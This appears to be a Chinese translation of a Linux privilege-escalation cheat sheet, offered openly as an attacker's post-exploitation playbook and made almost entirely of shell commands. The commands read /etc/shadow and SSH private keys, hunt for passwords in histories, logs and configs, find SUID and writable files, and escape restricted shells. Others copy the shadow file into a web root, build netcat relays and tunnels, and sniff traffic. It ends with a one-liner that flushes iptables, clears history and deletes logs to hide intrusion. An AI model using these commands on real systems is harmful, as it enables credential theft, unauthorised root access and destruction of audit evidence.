=== 操作系统 ===
发行类型、发行版本
```
cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release
cat /etc/redhat-release
uname -n //hostname主机名
hostname //同上
```
内核版本,是否64位
```
cat /proc/version
uname -a
uname -r //内核版本
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-
cat /proc/cpuinfo //CPU信息
```
=== 从环境变量中获取信息 ===
```
cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set
```
=== 是否有打印机 ===
lpstat -a
=== 用户&群组 ===
```
cat /etc/passwd
cat /etc/group //列出系统上所有群组
cat /etc/shadow //显示用户哈希——特权指令
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' 列举所有超级用户账户
finger //当前登录的用户
pinky //同上
users //同上
who -a //同上
w //当前谁在登录并且他在做什么
last //上次登录的用户列表
lastlog //有关所有用户上次登录时间的信息
lastlog --user root //有关指定用户上次登录时间的信息
```
=== 用户&权限信息 ===
```
whoami
id
cat /etc/sudoers //谁被允许以root用户身份执行操作——特权指令
sudo -l //当前用户可以以root身份执行的所有操作
cat /etc/passwd | cut -d: #用户列表
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' #超级用户列表
awk -F: '($3 == "0") {print}' /etc/passwd #超级用户列表
cat /etc/sudoers
```
用户正在做什么?是否有纯文本格式的密码?他们正在编辑什么?
```
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history
```
可以找到什么用户信息
```
cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root
```
root正在运行哪些服务?在这些服务中,哪些值得仔细检查?
```
ps aux | grep root
ps -ef | grep root
```
安装了哪些应用程序?它们的版本是什么?它们当前是否在运行?
```
ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
```
=== 环境信息 ===
```
env //显示环境变量
set //同上
echo $PATH //路径信息
history //显示当前用户的命令历史记录
cat /etc/profile //显示默认系统变量
```
=== 是否有任何服务配置错误?是否附有(漏洞)插件? ===
```
cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.r./
ps aux | grep root // 查看以root身份运行的服务
cat /etc/inetd.conf //由inetd管理的服务列表
cat /etc/xinetd.conf //由xinetd管理的服务列表
```
=== 已安装程序 ===
```
dpkg -l 已安装的软件包 (Debian)
rpm -qa 已安装的软件包 (Red Hat)
sudo -V sudo版本——是否存在漏洞利用
httpd -v Apache版本
apache2 -v 同上
apache2ctl (or apachectl) -M 列出已加载的Apache模块
mysql --version 已下载的MYSQL版本细节
perl -v 已下载的Perl版本细节
java -version 已下载的Java版本细节
python --version 已下载的Python版本细节
ruby -v 已下载的Ruby版本细节
find / -name %program_name% 2>/dev/null (即nc, netcat, wget, nmap等) 找到可用的程序 (netcat, wget等)
which %program_name% 同上
```
=== SSH信息 ===
```
查找私钥信息
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key
```
=== 任务/进程 ===
```
crontab -l -u %username% //显示指定用户的计划任务——特权指令
ls -la /etc/cron* //计划任务概述(每小时,每天,每月等等)
ls -aRl /etc/cron | awk '$1 ~ /w.$/' 2>/dev/null //其他人可以在/etc/cron目录下写什么
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
ls -alh /etc/cron.daily
ls -alh /etc/cron.weekly
ls -alh /etc/cron.monthly
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
```
=== 有趣的文件 ===
```
find /home –name .rhosts -print 2>/dev/null //查找rhost配置文件
ls -ahlR /root/ //查看您是否可以访问其他用户目录以找到有趣的文件——特权指令
cat ~/.bash_history //显示当前用户的命令历史记录
ls -la ~/._history //显示当前用户的各种历史记录文件
ls -la ~/.ssh/ Check //当前用户目录中有趣的ssh文件
ls -la /usr/sbin/in.* //检查inetd服务的配置
find /var/log -type f -exec ls -la {} ; 2>/dev/null //列出指定目录中的文件(/var/log)
find /var/log -name *.log -type f -exec ls -la {} ; 2>/dev/null 列出指定目录中的.log文件(/var/log)
find /etc/ -maxdepth 1 -name .conf -type f -exec ls -la {} ; 2>/dev/null 列出/etc中的.conf文件(递归1级)
ls -la /etc/.conf 同上
lsof -i -n //列出打开的文件(输出将取决于帐户权限)
lsof -u root //以root身份列出所有打开的文件和进程
```
可以在/etc/中写入哪些配置文件?是否能够重新配置服务?
```
ls -aRl /etc/ | awk '$1 ~ /^.w./' 2>/dev/null #任何人
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null #所有者
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null #所在群组
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null #其他人
find /etc/ -readable -type f 2>/dev/null #任何人
find /etc/ -readable -type f -maxdepth 1 2>/dev/null #任何人
```
可以在哪里写入和执行?一些“常见”位置:/tmp,/var/tmp,/dev/shm
```
find / -writable -type d 2>/dev/null #全局可写文件夹
find / -perm -222 -type d 2>/dev/null #全局可写文件夹
find / -perm -o+w -type d 2>/dev/null #全局可写文件夹
find / -perm -o+x -type d 2>/dev/null #全局可执行文件夹
find / ( -perm -o+w -perm -o+x ) -type d 2>/dev/null # 全局可写可执行文件夹
```
可以找到哪些敏感文件
```
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
```
如果可以访问,home目录有什么“有趣”的地方吗?
```
ls -ahlR /root/
ls -ahlR /home/
```
在/var/能找到什么?
```
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases
```
网站上是否有任何设置/文件(隐藏)?有包含数据库信息的设置文件吗?
```
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/
```
日志文件中是否有某些内容(可以帮助“本地文件包含”!)
```
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/
//auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp
```
搜索文件中的特定字符串
```
file ./somefile //文件信息
strings ./*.txt | grep password
find / -name “*.log” |xargs grep -i pass
grep -l -i pass /var/log/*.log 2>/dev/null
find / -maxdepth 10 -name .conf -type f | grep -Hn pass; 2>/dev/null //搜索字符串'password'并且输出行号
find / -maxdepth 10 -name etc -type f | grep -Hn pass; 2>/dev/null //同上,但是用在etc*上
grep -l -i pass /var/log/*.log 2>/dev/null //检查日志文件中是否有关键字(在此示例中为“pass”)并显示肯定的匹配项
find / -maxdepth 4 -name *.conf -type f -exec grep -Hn password {} ; 2>/dev/null 查找.conf文件(递归4级)并输出password一词所在的行号
grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
hexeditor ./file
objdump -D -M intel ./file
objdump -D -M x86-64 ./file >> dump64.file
cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg
find / -name "network-secret.txt"
locate "network-secret.txt"
```
=== 权限 ===
使用了哪些“高级Linux文件权限”?Sticky位,SUID和GUID
```
find / -perm -u=s -type f 2>/dev/null #查找设置了Sticky位的文件
find / -perm -1000 -type d 2>/dev/null #使用Sticky位查找目录-仅目录所有者或文件所有者可以在此处删除或重命名
find / -perm -g=s -type f 2>/dev/null #SGID(chmod 2000)-作为组运行,而不是启动它的用户。
find / -perm -u=s -type f 2>/dev/null #SUID(chmod 4000)-以所有者而不是启动它的用户身份运行。
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null #SGID或SUID
for i in locate -r "bin$"
; do find $i ( -perm -4000 -o -perm -2000 ) -type f 2>/dev/null; done #在“常见”位置中查找:/bin,/sbin,/usr/bin,/usr/sbin,/usr/local/bin,/usr/local/sbin和任何其他*bin,以查找SGID或SUID(更快的搜索方式)
//查找以根(/),SGID或SUID开头,而不是符号链接,深度仅3个文件夹,列出更多详细信息并隐藏任何错误(例如,权限被拒绝)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
```
在哪里可以写入和执行?一些“常见”位置:/tmp,/var/tmp,/dev/shm
```
例:
//我们在上面的列表中找到了cp(copy),现在我们正在利用它:
cp -f --no-preserve=all /etc/shadow /var/www/html/joomla/shadow.txt
要记住的几件事:
//(1)在目标位置,文件所有者将是根用户,但该组将是当前用户的用户,并且
//(2)注意使用“ --no-preserve”来读出受保护的文件。
//我们可以通过很多方式来滥用它,使用新帐户更新shadow文件,修改sudoers,使用ssh key +修改sshd_config ## +reboot,或cron.hourly。
```
=== 文件系统 ===
df -ah //所有文件系统信息,包括伪,重复,不可用文件系统
是否有任何卸载的文件系统?
cat /etc/fstab
=== 网络、路由&通信 ===
```
/sbin/ifconfig -a //列出所有网络接口
cat /etc/network/interfaces //同上
cat /etc/sysconfig/network
arp -a //显示arp通信
route //显示路由信息
cat /etc/resolv.conf //显示配置的DNS服务器地址
netstat -antp //列出所有TCP套接字和相关的PID(-p 特权指令)
netstat -anup //列出所有UDP套接字和相关的PID(-p 特权指令)tee
iptables -L //列出规则——特权指令
cat /etc/services //查看端口号/服务映射
```
=== 网络配置设置是什么?您可以找到关于该网络的哪些信息?DHCP服务器?DNS服务器?网关? ===
```
cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname
```
=== 常见Shell转义序列 ===
```
//如果命令受到限制,您会跳出“jail”shell吗?
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')
/bin/sh -i
:!bash vi, vim
:set shell=/bin/bash:shell vi, vim
!bash man, more, less
find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' ; find
awk 'BEGIN {system("/bin/bash")}' awk
--interactive nmap
perl -e 'exec "/bin/bash";' Perl
```
=== 还有哪些其他用户和主机正在与系统通信? ===
```
lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
```
=== 缓存了什么?IP和/或MAC地址 ===
```
arp -e
route
/sbin/route -nee
```
=== 数据包嗅探是可能的吗?可以看到什么?监听实时流量 ===
```
//tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.2.2.222 21
tcpdump -n dst host 192.168.1.5 -vvv -n -w file.cap
```
=== 是否可以进行端口转发?从另一个视图重定向流量并与之交互 ===
```
rinetd
http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch
fpipe
FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
FPipe.exe -l 80 -r 80 -s 80 192.168.1.7
//ssh -[L/R] [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -L 8080:127.0.0.1:80 [email protected] #本地端口
ssh -R 8080:127.0.0.1:80 [email protected] #远程端口
//mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.1.1.251 80 >backpipe #端口中继
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe #代理 (端口从80到8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe #代理监控(端口从80到8080)
```
可以用隧道技术吗?在本地远程发送命令
```
ssh -D 127.0.0.1:9050 -N [username]@[ip]
proxychains ifconfig
```
将bash复制到新的subshell
```
从远程服务器安装NFS共享,将bash从本地复制到远程并执行
cp -p ./bash /mnt/share/newbash
./newbash -p
```
=== 准备和查找漏洞利用代码 ===
安装/支持哪些开发工具/语言
```
find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc
```
如何上传文件?
```
find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp
```
使用SSH复制文件
```
scp username@b:/path/to/file /path/to/destination //在登录到A时
scp /path/to/file username@a:/path/to/destination //在登录到B时
```
用gcc编译C
gcc ./ajaira_exploit.c -o exploit
清除历史记录,iptables和日志
iptables -F; history -c; find ./ -name “*.log” |xargs rm -f
后缀版本
postconf -d | grep mail_vers
==本文译自:https://blog.theshahzada.com/2021/01/linux-privilege-escalation.html
原作者:TheShahzada
致敬所有对本文创作有贡献的人==
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论